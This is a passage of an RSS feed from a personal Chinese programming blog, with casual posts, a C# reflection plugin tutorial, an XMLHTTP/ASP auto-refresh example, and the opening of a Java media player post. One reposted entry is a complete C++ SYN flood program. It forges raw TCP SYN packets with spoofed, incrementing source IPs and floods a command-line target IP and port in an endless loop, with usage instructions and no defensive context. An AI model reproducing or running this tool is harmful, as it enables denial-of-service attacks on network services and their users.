target="_blank">知识库</a></p>]]></description></item><item><title>哈，俺又回来了！</title><link>http://www.cnblogs.com/maxun/archive/2007/07/08/810479.html</link><dc:creator>samuel's blog</dc:creator><author>samuel's blog</author><pubDate>Sun, 08 Jul 2007 12:40:00 GMT</pubDate><guid>http://www.cnblogs.com/maxun/archive/2007/07/08/810479.html</guid><description><![CDATA[<p>阅读: 59 评论: 0 作者: <a href="http://www.cnblogs.com/maxun/" target="_blank">samuel's blog</a> 发表于 2007-07-08 20:40 <a href="http://www.cnblogs.com/maxun/archive/2007/07/08/810479.html" target="_blank">原文链接</a></p>是的，我又回来了，冷落了一年多的部落格，我又回来了！：）哈哈哈！<br><img src="http://www.cnblogs.com/maxun/aggbug/810479.html?type=1" width="1" height="1" alt=""/><p>评论: 0　<a href="http://www.cnblogs.com/maxun/archive/2007/07/08/810479.html#pagedcomment" target="_blank">查看评论</a>　<a href="http://www.cnblogs.com/maxun/archive/2007/07/08/810479.html#commentform" target="_blank">发表评论</a></p><p><a href="http://job.cnblogs.com/" target="_blank">找优秀程序员，就在博客园</a></p><hr/><p>最新新闻：<br/>· <a href="http://news.cnblogs.com/n/59265/" target="_blank">Pwn2Own前夕抓紧补 谷歌为Chrome浏览器发布11项安全补丁</a><span style="color:gray">(2010-03-21 08:21)</span><br/>· <a href="http://news.cnblogs.com/n/59264/" target="_blank">黑客大赛开始 iPhone成主要攻破目标</a><span style="color:gray">(2010-03-21 08:12)</span><br/>· <a href="http://news.cnblogs.com/n/59263/" target="_blank">给Chrome的一封信</a><span style="color:gray">(2010-03-21 07:35)</span><br/>· <a href="http://news.cnblogs.com/n/59262/" target="_blank">甲骨文将关闭OpenSSO</a><span style="color:gray">(2010-03-20 23:54)</span><br/>· <a href="http://news.cnblogs.com/n/59261/" target="_blank">专访陈晓薇：九城已重建、我还没想好去哪</a><span style="color:gray">(2010-03-20 22:07)</span><br/></p><p>编辑推荐：<a href="http://news.cnblogs.com/n/59093/" target="_blank">[视频]想做你的Code</a><br/></p><p>网站导航：<a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/" target="_blank">个人主页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/group/" target="_blank">小组</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://kb.cnblogs.com" target="_blank">知识库</a></p>]]></description></item><item><title>[原创]在C#中实现插件编程</title><link>http://www.cnblogs.com/maxun/archive/2006/06/07/420040.html</link><dc:creator>samuel's blog</dc:creator><author>samuel's blog</author><pubDate>Wed, 07 Jun 2006 14:15:00 GMT</pubDate><guid>http://www.cnblogs.com/maxun/archive/2006/06/07/420040.html</guid><description><![CDATA[<p>阅读: 642 评论: 2 作者: <a href="http://www.cnblogs.com/maxun/" target="_blank">samuel's blog</a> 发表于 2006-06-07 22:15 <a href="http://www.cnblogs.com/maxun/archive/2006/06/07/420040.html" target="_blank">原文链接</a></p><p>在程序写好后，我们如果要不断的升级程序的功能的话，用以前的思想来写程序的话，办法就只有不断的添加、更改主程序的代码，难道就没有其他的办法了吗？答案是肯定有的。那么怎么实现呢？——插件！<br>对，就是插件，就好像我们的Eclipse，那就是用插件&#8220;搭&#8221;出来的程序，利用插件，我们可以很方便的对程序的功能进行添加、修改、而不用重编译整个工程，这个就是利用插件技术的好处！下面写出我在实际开发中利用到的一些方法，我将它们整理了一下，供大家看。。。。（这里只是动态加载一个类的例子！其他的程序集以此类推！）<br><br>/********************************* 主程序 *****************************/<br>&nbsp;&nbsp;&nbsp;// 加载类所在的程序集<br>&nbsp;&nbsp;&nbsp;Assembly assembly = Assembly.LoadFrom("C:\\maxun\\Test.dll");<br>&nbsp;&nbsp;&nbsp;Type&nbsp;type = assembly.GetType("Test.OutString");<br>&nbsp;&nbsp;&nbsp;// 得到指定的方法<br>&nbsp;&nbsp;&nbsp;MethodInfo met = type.GetMethod("OutSuccess");<br>&nbsp;&nbsp;&nbsp;// 创建实例<br>&nbsp;&nbsp;&nbsp;Object obj=System.Activator.CreateInstance(type);<br>&nbsp;&nbsp;&nbsp;// 调用方法<br>&nbsp;&nbsp;&nbsp;string strResult = (string)met.Invoke(obj, null);<br><br>&nbsp;&nbsp;&nbsp;// 如果这个方法有参数的话，可以用以下的方法实现<br>&nbsp;&nbsp;&nbsp;/*<br>&nbsp;&nbsp;&nbsp;Object[] objArray=new object[7];<br>&nbsp;&nbsp;&nbsp;objArray[0]="参数1";<br>&nbsp;&nbsp;&nbsp;objArray[1]="参数2";<br>&nbsp;&nbsp;&nbsp;objArray[2]="参数3";<br>&nbsp;&nbsp; &#8230;&#8230;&#8230;&#8230;<br>&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;*** Result = (***)met.Invoke(obj, objArray);<br>&nbsp;&nbsp;&nbsp;*/<br>/*********************************&nbsp;类代码 *****************************/<br>using System;</p>
<p>namespace Test<br>{<br>&nbsp;public class OutString<br>&nbsp;{<br>&nbsp;&nbsp;public OutString()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;}</p>
<p>&nbsp;&nbsp;public string OutSuccess()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;return("SUCCESS:)");<br>&nbsp;&nbsp;}<br>&nbsp;}<br>}<br>/****************************运行结果***************************/<br><img src="http://www.cnblogs.com/images/cnblogs_com/maxun/47030/r_maxun_cj.JPG" border=0></p>
<img src="http://www.cnblogs.com/maxun/aggbug/420040.html?type=1" width="1" height="1" alt=""/><p>评论: 2　<a href="http://www.cnblogs.com/maxun/archive/2006/06/07/420040.html#pagedcomment" target="_blank">查看评论</a>　<a href="http://www.cnblogs.com/maxun/archive/2006/06/07/420040.html#commentform" target="_blank">发表评论</a></p><p><a href="http://job.cnblogs.com/" target="_blank">找优秀程序员，就在博客园</a></p><hr/><p>最新新闻：<br/>· <a href="http://news.cnblogs.com/n/59265/" target="_blank">Pwn2Own前夕抓紧补 谷歌为Chrome浏览器发布11项安全补丁</a><span style="color:gray">(2010-03-21 08:21)</span><br/>· <a href="http://news.cnblogs.com/n/59264/" target="_blank">黑客大赛开始 iPhone成主要攻破目标</a><span style="color:gray">(2010-03-21 08:12)</span><br/>· <a href="http://news.cnblogs.com/n/59263/" target="_blank">给Chrome的一封信</a><span style="color:gray">(2010-03-21 07:35)</span><br/>· <a href="http://news.cnblogs.com/n/59262/" target="_blank">甲骨文将关闭OpenSSO</a><span style="color:gray">(2010-03-20 23:54)</span><br/>· <a href="http://news.cnblogs.com/n/59261/" target="_blank">专访陈晓薇：九城已重建、我还没想好去哪</a><span style="color:gray">(2010-03-20 22:07)</span><br/></p><p>编辑推荐：<a href="http://news.cnblogs.com/n/59093/" target="_blank">[视频]想做你的Code</a><br/></p><p>网站导航：<a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/" target="_blank">个人主页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/group/" target="_blank">小组</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://kb.cnblogs.com" target="_blank">知识库</a></p>]]></description></item><item><title>[转]利用XMLHTTP无刷新自动实时更新数据</title><link>http://www.cnblogs.com/maxun/archive/2006/05/25/409045.html</link><dc:creator>samuel's blog</dc:creator><author>samuel's blog</author><pubDate>Thu, 25 May 2006 07:51:00 GMT</pubDate><guid>http://www.cnblogs.com/maxun/archive/2006/05/25/409045.html</guid><description><![CDATA[<p>阅读: 139 评论: 0 作者: <a href="http://www.cnblogs.com/maxun/" target="_blank">samuel's blog</a> 发表于 2006-05-25 15:51 <a href="http://www.cnblogs.com/maxun/archive/2006/05/25/409045.html" target="_blank">原文链接</a></p>传统上,我们浏览网页,如果加入最新的数据.只能是等我们重新向服务器端请求时才能显示出来.<br>但是,对于一些时效性很强的网站.传统的这种做法是不能满足的. <br>我们可以让程序自动刷新.定时向服务器请求数据.5秒取一次数据,10秒取一次数据.<br>利用XMLHTTP发出请求并取得数据.传到客户端,客户端重新组织并显示数据.<br><br>demo.htm 前台显示.<br><br>&lt;script language="JavaScript"&gt;<br>function GetResult()<br>{<br>/*<br>*--------------- GetResult() -----------------<br>* GetResult() <br>* 功能:通过XMLHTTP发送请求,返回结果.<br>* 参数:str,字符串,发送条件.<br>* 实例:GetResult();<br>*--------------- GetResult() -----------------<br>*/<br>var oBao = new ActiveXObject("Microsoft.XMLHTTP");<br>//特殊字符：+,%,&amp;,=,?等的传输解决办法.字符串先用escape编码的.<br>//Update:2004-6-1 12:22<br>oBao.open("POST","Server.asp",false);<br>oBao.send();<br>//服务器端处理返回的是经过escape编码的字符串.<br>var strResult = unescape(oBao.responseText);<br>//将字符串分开.<br>var arrResult = strResult.split("###");<br>RemoveRow(); //删除以前的数据.<br>//将取得的字符串分开,并写入表格中.<br>for(var i=0;i&lt;arrResult.length;i++)<br>{<br>arrTmp = arrResult[i].split("@@@");<br>num1 = arrTmp[0]; //字段num1的值<br>num2 = arrTmp[1]; //字段num2的值<br>row1 = tb.insertRow();<br>cell1 = row1.insertCell();<br>cell1.innerText = num1;<br>cell2 = row1.insertCell();<br>cell2.innerText = num2;<br>}<br>}<br><br>function RemoveRow()<br>{<br>//保留第一行表头,其余数据均删除.<br>var iRows = tb.rows.length;<br>for(var i=0;i&lt;iRows-1;i++)<br>{<br>tb.deleteRow(1);<br>}<br>}<br><br>function MyShow()<br>{<br>//2秒自动刷新一次,2秒取得一次数据.<br>timer = window.setInterval("GetResult()",2000);<br>}<br>&lt;/script&gt;<br><br>&lt;body onload="MyShow()"&gt;<br>&lt;p&gt;<br>&lt;/p&gt;<br>&lt;table width="47%" height="23" border="0" cellpadding="1" cellspacing="0" id="tb"&gt;<br>&lt;tr&gt;<br>&lt;td&gt;num1&lt;/td&gt;<br>&lt;td&gt;num2&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;/table&gt;<br><br><br>Server.asp 后台读取数据<br><br>&lt;% @Language="JavaScript" %&gt;<br>&lt;%<br>function OpenDB(sdbname)<br>{<br>/*<br>*--------------- OpenDB(sdbname) -----------------<br>* OpenDB(sdbname) <br>* 功能:打开数据库sdbname,返回conn对象.<br>* 参数:sdbname,字符串,数据库名称.<br>* 实例:var conn = OpenDB("database.mdb");<br>*--------------- OpenDB(sdbname) -----------------<br>*/<br>var connstr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source="+Server.MapPath(sdbname);<br>var conn = Server.CreateObject("ADODB.Connection");<br>conn.Open(connstr);<br>return conn;<br>}<br>var sResult = new Array();<br>var oConn = OpenDB("data.mdb");<br>//特殊字符：+,%,&amp;,=,?等的传输解决办法.客户端字符是经过escape编码的<br>//所以服务器端先要经过unescape解码.<br>//Update:2004-6-1 12:22<br>var sql = "select num1,num2 from nums order by id";<br>var rs = oConn.Execute(sql);<br>while(!rs.EOF)<br>{<br>//一条记录用"###"隔开.每列数据用"@@@"隔开. 这是以只有两个列数据的情况.<br>sResult[sResult.length] = rs("num1").Value + "@@@" + rs("num2").Value<br>rs.MoveNext();<br>}<br>//escape解决了XMLHTTP。中文处理的问题.<br>Response.Write(escape(sResult.join("###")));<br>%&gt;<br><br><br>数据库data.mdb<br>表 nums<br>id,自动编号<br>num1,文本<br>num2,文本<br><br>测试数据<br><br>id num1 num2<br>1 20.70 20.810<br>2 10.5 20.5<br>3 12.3 300<br>4 132 323<br>5 563 56<br>6 20 10<br>
<img src="http://www.cnblogs.com/maxun/aggbug/409045.html?type=1" width="1" height="1" alt=""/><p>评论: 0　<a href="http://www.cnblogs.com/maxun/archive/2006/05/25/409045.html#pagedcomment" target="_blank">查看评论</a>　<a href="http://www.cnblogs.com/maxun/archive/2006/05/25/409045.html#commentform" target="_blank">发表评论</a></p><p><a href="http://job.cnblogs.com/" target="_blank">找优秀程序员，就在博客园</a></p><hr/><p>最新新闻：<br/>· <a href="http://news.cnblogs.com/n/59265/" target="_blank">Pwn2Own前夕抓紧补 谷歌为Chrome浏览器发布11项安全补丁</a><span style="color:gray">(2010-03-21 08:21)</span><br/>· <a href="http://news.cnblogs.com/n/59264/" target="_blank">黑客大赛开始 iPhone成主要攻破目标</a><span style="color:gray">(2010-03-21 08:12)</span><br/>· <a href="http://news.cnblogs.com/n/59263/" target="_blank">给Chrome的一封信</a><span style="color:gray">(2010-03-21 07:35)</span><br/>· <a href="http://news.cnblogs.com/n/59262/" target="_blank">甲骨文将关闭OpenSSO</a><span style="color:gray">(2010-03-20 23:54)</span><br/>· <a href="http://news.cnblogs.com/n/59261/" target="_blank">专访陈晓薇：九城已重建、我还没想好去哪</a><span style="color:gray">(2010-03-20 22:07)</span><br/></p><p>编辑推荐：<a href="http://news.cnblogs.com/n/59093/" target="_blank">[视频]想做你的Code</a><br/></p><p>网站导航：<a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/" target="_blank">个人主页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/group/" target="_blank">小组</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://kb.cnblogs.com" target="_blank">知识库</a></p>]]></description></item><item><title>[转]SYN Flood的C++程序</title><link>http://www.cnblogs.com/maxun/archive/2006/05/24/408374.html</link><dc:creator>samuel's blog</dc:creator><author>samuel's blog</author><pubDate>Wed, 24 May 2006 13:42:00 GMT</pubDate><guid>http://www.cnblogs.com/maxun/archive/2006/05/24/408374.html</guid><description><![CDATA[<p>阅读: 293 评论: 2 作者: <a href="http://www.cnblogs.com/maxun/" target="_blank">samuel's blog</a> 发表于 2006-05-24 21:42 <a href="http://www.cnblogs.com/maxun/archive/2006/05/24/408374.html" target="_blank">原文链接</a></p><p>#include &lt;winsock2.h&gt;<br>#include &lt;Ws2tcpip.h&gt; <br>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;</p>
<p>#pragma comment(lib,"ws2_32")<br>#pragma comment(lib,"wsock32")<br>#define FAKE_IP "201.79.131.18" <br>#define SEQ 0x28376839<br>#define right "===============Coder Paris-ye====================\n"<br>USHORT checksum(USHORT *buffer, int size);<br>int flood();</p>
<p>typedef struct tcphdr<br>{<br>&nbsp;USHORT th_sport;<br>&nbsp;USHORT th_dport;<br>&nbsp;unsigned int th_seq;<br>&nbsp;unsigned int th_ack;<br>&nbsp;unsigned char th_lenres;<br>&nbsp;unsigned char th_flag;<br>&nbsp;USHORT th_win;<br>&nbsp;USHORT th_sum;<br>&nbsp;USHORT th_urp;<br>}TCP_HEADER; </p>
<p>typedef struct iphdr<br>{<br>&nbsp;unsigned char h_verlen;<br>&nbsp;unsigned char tos;<br>&nbsp;unsigned short total_len;<br>&nbsp;unsigned short ident;<br>&nbsp;unsigned short frag_and_flags;<br>&nbsp;unsigned char&nbsp; ttl;<br>&nbsp;unsigned char proto;<br>&nbsp;unsigned short checksum;<br>&nbsp;unsigned int sourceIP;<br>&nbsp;unsigned int destIP;<br>}IP_HEADER;</p>
<p>struct<br>{<br>&nbsp;unsigned long saddr;<br>&nbsp;unsigned long daddr;<br>&nbsp;char mbz;<br>&nbsp;char ptcl;<br>&nbsp;unsigned short tcpl;<br>}PSD_HEADER; </p>
<p>WSADATA wsaData;<br>SOCKET&nbsp; sockMain = (SOCKET) NULL;<br>int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;<br>unsigned short activPort=40000;<br>struct sockaddr_in sockAddr;<br>TCP_HEADER&nbsp; tcpheader;<br>IP_HEADER&nbsp;&nbsp; ipheader;<br>char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sendBuf[128];</p>
<p>USHORT checksum(USHORT *buffer, int size)<br>{<br>&nbsp;unsigned long cksum=0;<br>&nbsp;while(size &gt;1) {<br>&nbsp;&nbsp;cksum+=*buffer++;<br>&nbsp;&nbsp;size-=sizeof(USHORT);<br>&nbsp;}<br>&nbsp;if(size) cksum+=*(UCHAR*)buffer;<br>&nbsp;cksum=(cksum &gt;&gt; 16)+(cksum&amp;0xffff);<br>&nbsp;cksum+=(cksum &gt;&gt;16);<br>&nbsp;return (USHORT)(~cksum); <br>}</p>
<p><br>int main(int argc,char* argv[])<br>{<br>&nbsp;int&nbsp;&nbsp;&nbsp; portNum=0;<br>&nbsp;DWORD&nbsp; dw;<br>&nbsp;HANDLE hThread=NULL;<br>&nbsp;char&nbsp;&nbsp; putInfo;</p>
<p>&nbsp;if(argc!=3)<br>&nbsp;{<br>&nbsp;&nbsp;printf("%s\n",right);<br>&nbsp;&nbsp;printf("Invalid command,Pls use:\n%s&nbsp; &lt;IP&gt; &lt;port&gt;\nExample:%s 192.168.100.244 80",argv[0],argv[0]);<br>&nbsp;&nbsp;return 1;<br>&nbsp;}<br>&nbsp;if((ErrorCode=WSAStartup(MAKEWORD(2,1),&amp;wsaData))!=0){<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("WSAStartup failed: %d\n",ErrorCode); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 2;<br>&nbsp;}<br>&nbsp;sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);<br>&nbsp;if(sockMain==INVALID_SOCKET)<br>&nbsp;{<br>&nbsp;&nbsp;printf("Socket failed: %d\n",WSAGetLastError());<br>&nbsp;return 3;<br>&nbsp;}<br>&nbsp;ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&amp;flag,sizeof(int));<br>&nbsp;if(ErrorCode==SOCKET_ERROR)<br>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Set sockopt failed: %d\n",WSAGetLastError());<br>&nbsp;&nbsp;return 4;<br>&nbsp;}<br>&nbsp;ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&amp;TimeOut,sizeof(TimeOut));<br>&nbsp;if(ErrorCode==SOCKET_ERROR)<br>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Set sockopt time out failed: %d\n",WSAGetLastError());<br>&nbsp;return 5;<br>&nbsp;}<br>&nbsp;portNum=atoi(argv[2]);</p>
<p>&nbsp;memset(&amp;sockAddr,0,sizeof(sockAddr));<br>&nbsp;sockAddr.sin_family=AF_INET;<br>&nbsp;sockAddr.sin_addr.s_addr =inet_addr(argv[1]);<br>&nbsp;FakeIpNet=inet_addr(FAKE_IP);<br>&nbsp;FakeIpHost=ntohl(FakeIpNet);</p>
<p>&nbsp;ipheader.h_verlen=(4&lt;&lt;4 | sizeof(IP_HEADER)/sizeof(unsigned long));<br>&nbsp;ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));<br>&nbsp;ipheader.ident = 1;<br>&nbsp;ipheader.frag_and_flags = 0;<br>&nbsp;ipheader.ttl = 128;<br>&nbsp;ipheader.proto = IPPROTO_TCP;<br>&nbsp;ipheader.checksum =0;<br>&nbsp;ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);<br>&nbsp;ipheader.destIP = inet_addr(argv[1]);</p>
<p>&nbsp;tcpheader.th_dport=htons(portNum);<br>&nbsp;tcpheader.th_sport = htons(portNum);<br>&nbsp;tcpheader.th_seq = htonl(SEQ+SendSEQ);<br>&nbsp;tcpheader.th_ack = 0;<br>&nbsp;tcpheader.th_lenres =(sizeof(TCP_HEADER)/4&lt;&lt;4|0);<br>&nbsp;tcpheader.th_flag = 2;<br>&nbsp;tcpheader.th_win = htons(16384);<br>&nbsp;tcpheader.th_urp = 0;<br>&nbsp;tcpheader.th_sum = 0;</p>
<p>&nbsp;PSD_HEADER.saddr=ipheader.sourceIP;<br>&nbsp;PSD_HEADER.daddr=ipheader.destIP;<br>&nbsp;PSD_HEADER.mbz=0; <br>&nbsp;PSD_HEADER.ptcl=IPPROTO_TCP;<br>&nbsp;PSD_HEADER.tcpl=htons(sizeof(tcpheader));<br>&nbsp;printf("%s\n",right);<br>&nbsp;hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&amp;dw);<br>&nbsp;SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);<br>&nbsp;ResumeThread(hThread);<br>&nbsp;printf("Warning[start]...........\nPress any key to stop!\n");<br>&nbsp;putInfo=getchar();<br>&nbsp;TerminateThread(hThread,0);<br>&nbsp;WSACleanup();<br>&nbsp;printf("\nStopd...........\n");</p>
<p>&nbsp;return 0;<br>}</p>
<p>int flood()<br>{<br>&nbsp;while(1)<br>&nbsp;{<br>&nbsp;&nbsp;if(SendSEQ++==65536) SendSEQ=1;<br>&nbsp;&nbsp;if(activPort++==40010) activPort=1000;<br>&nbsp;&nbsp;ipheader.checksum =0;<br>&nbsp;&nbsp;ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);<br>&nbsp;&nbsp;tcpheader.th_seq = htonl(SEQ+SendSEQ);<br>&nbsp;&nbsp;tcpheader.th_sport = htons(activPort);<br>&nbsp;&nbsp;tcpheader.th_sum = 0;<br>&nbsp;&nbsp;PSD_HEADER.saddr=ipheader.sourceIP;<br>&nbsp;&nbsp;memcpy(sendBuf,&amp;PSD_HEADER,sizeof(PSD_HEADER));<br>&nbsp;&nbsp;memcpy(sendBuf+sizeof(PSD_HEADER),&amp;tcpheader,sizeof(tcpheader));<br>&nbsp;&nbsp;tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));</p>
<p>&nbsp;&nbsp;memcpy(sendBuf,&amp;ipheader,sizeof(ipheader));<br>&nbsp;&nbsp;memcpy(sendBuf+sizeof(ipheader),&amp;tcpheader,sizeof(tcpheader));<br>&nbsp;&nbsp;memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);<br>&nbsp;&nbsp;dataSize=sizeof(ipheader)+sizeof(tcpheader);<br>&nbsp;&nbsp;ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);<br>&nbsp;&nbsp;memcpy(sendBuf,&amp;ipheader,sizeof(ipheader));<br>&nbsp;&nbsp;ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &amp;sockAddr,sizeof(sockAddr));<br>&nbsp;&nbsp;if(ErrorCode==SOCKET_ERROR)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;printf("\nCan't connect this IP!Pls check it.\n");<br>&nbsp;&nbsp;&nbsp;ExitThread(1);<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;// Sleep(1000);<br>&nbsp;}<br>&nbsp;return 0;<br></p>
<img src="http://www.cnblogs.com/maxun/aggbug/408374.html?type=1" width="1" height="1" alt=""/><p>评论: 2　<a href="http://www.cnblogs.com/maxun/archive/2006/05/24/408374.html#pagedcomment" target="_blank">查看评论</a>　<a href="http://www.cnblogs.com/maxun/archive/2006/05/24/408374.html#commentform" target="_blank">发表评论</a></p><p><a href="http://job.cnblogs.com/" target="_blank">找优秀程序员，就在博客园</a></p><hr/><p>最新新闻：<br/>· <a href="http://news.cnblogs.com/n/59265/" target="_blank">Pwn2Own前夕抓紧补 谷歌为Chrome浏览器发布11项安全补丁</a><span style="color:gray">(2010-03-21 08:21)</span><br/>· <a href="http://news.cnblogs.com/n/59264/" target="_blank">黑客大赛开始 iPhone成主要攻破目标</a><span style="color:gray">(2010-03-21 08:12)</span><br/>· <a href="http://news.cnblogs.com/n/59263/" target="_blank">给Chrome的一封信</a><span style="color:gray">(2010-03-21 07:35)</span><br/>· <a href="http://news.cnblogs.com/n/59262/" target="_blank">甲骨文将关闭OpenSSO</a><span style="color:gray">(2010-03-20 23:54)</span><br/>· <a href="http://news.cnblogs.com/n/59261/" target="_blank">专访陈晓薇：九城已重建、我还没想好去哪</a><span style="color:gray">(2010-03-20 22:07)</span><br/></p><p>编辑推荐：<a href="http://news.cnblogs.com/n/59093/" target="_blank">[视频]想做你的Code</a><br/></p><p>网站导航：<a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/" target="_blank">个人主页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/group/" target="_blank">小组</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://kb.cnblogs.com" target="_blank">知识库</a></p>]]></description></item><item><title>觉得我的BLOG“好像”冷了哦！</title><link>http://www.cnblogs.com/maxun/archive/2006/05/17/402558.html</link><dc:creator>samuel's blog</dc:creator><author>samuel's blog</author><pubDate>Wed, 17 May 2006 08:01:00 GMT</pubDate><guid>http://www.cnblogs.com/maxun/archive/2006/05/17/402558.html</guid><description><![CDATA[<p>阅读: 65 评论: 0 作者: <a href="http://www.cnblogs.com/maxun/" target="_blank">samuel's blog</a> 发表于 2006-05-17 16:01 <a href="http://www.cnblogs.com/maxun/archive/2006/05/17/402558.html" target="_blank">原文链接</a></p><p>呵呵，好多朋友问我，为什么我的BLOG这么凉快，呵呵，我给他们说，那是因为我太懒了，哈哈~~~<br>不过我有了新的打算，我准备开始更新自己的BLOG了，最近在和老师一起搞一个开发，做一个OA系统，呵呵，当时刚刚听说这个项目的时候还不想搞，但是听了一下需求，觉得这个项目对自己的帮助太大了。呵呵，说夸张一点，我所见到的那么多OA系统中，还没有一个采用了我们这种技术的，呵呵。&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<br>下课喽！！！回寝室再说吧，哈哈!!!</p>
<img src="http://www.cnblogs.com/maxun/aggbug/402558.html?type=1" width="1" height="1" alt=""/><p>评论: 0　<a href="http://www.cnblogs.com/maxun/archive/2006/05/17/402558.html#pagedcomment" target="_blank">查看评论</a>　<a href="http://www.cnblogs.com/maxun/archive/2006/05/17/402558.html#commentform" target="_blank">发表评论</a></p><p><a href="http://job.cnblogs.com/" target="_blank">找优秀程序员，就在博客园</a></p><hr/><p>最新新闻：<br/>· <a href="http://news.cnblogs.com/n/59265/" target="_blank">Pwn2Own前夕抓紧补 谷歌为Chrome浏览器发布11项安全补丁</a><span style="color:gray">(2010-03-21 08:21)</span><br/>· <a href="http://news.cnblogs.com/n/59264/" target="_blank">黑客大赛开始 iPhone成主要攻破目标</a><span style="color:gray">(2010-03-21 08:12)</span><br/>· <a href="http://news.cnblogs.com/n/59263/" target="_blank">给Chrome的一封信</a><span style="color:gray">(2010-03-21 07:35)</span><br/>· <a href="http://news.cnblogs.com/n/59262/" target="_blank">甲骨文将关闭OpenSSO</a><span style="color:gray">(2010-03-20 23:54)</span><br/>· <a href="http://news.cnblogs.com/n/59261/" target="_blank">专访陈晓薇：九城已重建、我还没想好去哪</a><span style="color:gray">(2010-03-20 22:07)</span><br/></p><p>编辑推荐：<a href="http://news.cnblogs.com/n/59093/" target="_blank">[视频]想做你的Code</a><br/></p><p>网站导航：<a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/" target="_blank">个人主页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/group/" target="_blank">小组</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://kb.cnblogs.com" target="_blank">知识库</a></p>]]></description></item><item><title>师兄写的一个JAVA播放器的源代码</title><link>http://www.cnblogs.com/maxun/archive/2006/02/19/333315.html</link><dc:creator>samuel's blog</dc:creator><author>samuel's blog</author><pubDate>Sat, 18 Feb 2006 16:32:00 GMT</pubDate><guid>http://www.cnblogs.com/maxun/archive/2006/02/19/333315.html</guid><description><![CDATA[<p>阅读: 11576 评论: 39 作者: <a href="http://www.cnblogs.com/maxun/" target="_blank">samuel's blog</a> 发表于 2006-02-19 00:32 <a href="http://www.cnblogs.com/maxun/archive/2006/02/19/333315.html" target="_blank">原文链接</a></p><P>MediaPlayer.java<BR>----------------------------------------------------------------------------<BR>//程序主文件<BR>import java.awt.*;<BR>import java.awt.event.*;<BR>import javax.swing.*;<BR>import javax.media.*;<BR>import java.io.*;<BR>import java.util.*;//为了导入Vector<BR>//import com.sun.java.swing.plaf.windows.*;</P>
